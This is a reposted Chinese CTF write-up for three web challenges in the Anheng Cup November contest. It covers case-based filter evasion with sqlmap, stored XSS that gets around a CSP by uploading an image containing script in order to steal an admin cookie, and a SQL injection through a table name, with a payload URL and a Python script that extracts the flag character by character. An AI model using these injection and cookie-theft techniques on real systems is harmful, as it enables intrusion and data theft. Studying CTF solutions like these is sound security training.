安恒杯十一月比赛部分writeup
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安恒杯十一月比赛部分writeup相关的知识,希望对你有一定的参考价值。
Web1 绕过看门狗
简单尝试了一下,大小写绕过就可以。sqlmap直接加个randomcase.py的tamper即可,当然写脚本来跑也是可以的。
Web2 jshunt
打开链接,看到一个上传点和一个留言板。输入<img src=#onerror=alert(1)/>,提示“非法标签”,最后发现只能使用script。
之后把重点放在script,fuzz发现只能使用src属性,尝试包含js文件,提示“禁止包含js文件”。
包含外部js文件同样报错,同时观察返回包,发现使用了csp策略,包含外部js也是行不通了:
别忘了我们还有一个可以上传的地方:
上次带有js代码的图片,然后使用SRC加载文件,留言给管理员,返回信息提示代码是成功的,然后就能收cookie了。
Web3 babysql:
过滤了union,column_name,*。
http://www.wupco.cn/?p=3764参考了这里才找到了注入点。。
$sql = "desc `error_{$table}`"; $res = mysql_query($sql); if(empty(mysql_fetch_array($res))){ echo "<center>no table detail</center>"; die(); } $sql = "select * from error_${table} where id = $id";
得知desc能判断table师傅存在,如果存在才会执行下一条语句。
payload:
http://114.55.36.69:20680/index.php?table=flag` `a%&id=3
写个脚本跑:
#!/usr/bin/env # -*- coding: utf-8 -*- import requests as r import string r1=r.session() s=string.printable flag="" for i in range(50): url="http://192.168.1.1/index.php?table=flag` `{0}%&id=3" for j in s: url2=url.format(str(flag+j)) r2=r1.get(url2) if "SQL" in r2.text: flag+=j print flag break
以上是关于安恒杯十一月比赛部分writeup的主要内容,如果未能解决你的问题,请参考以下文章
安恒杯月赛babybypass 不用英文数字getshell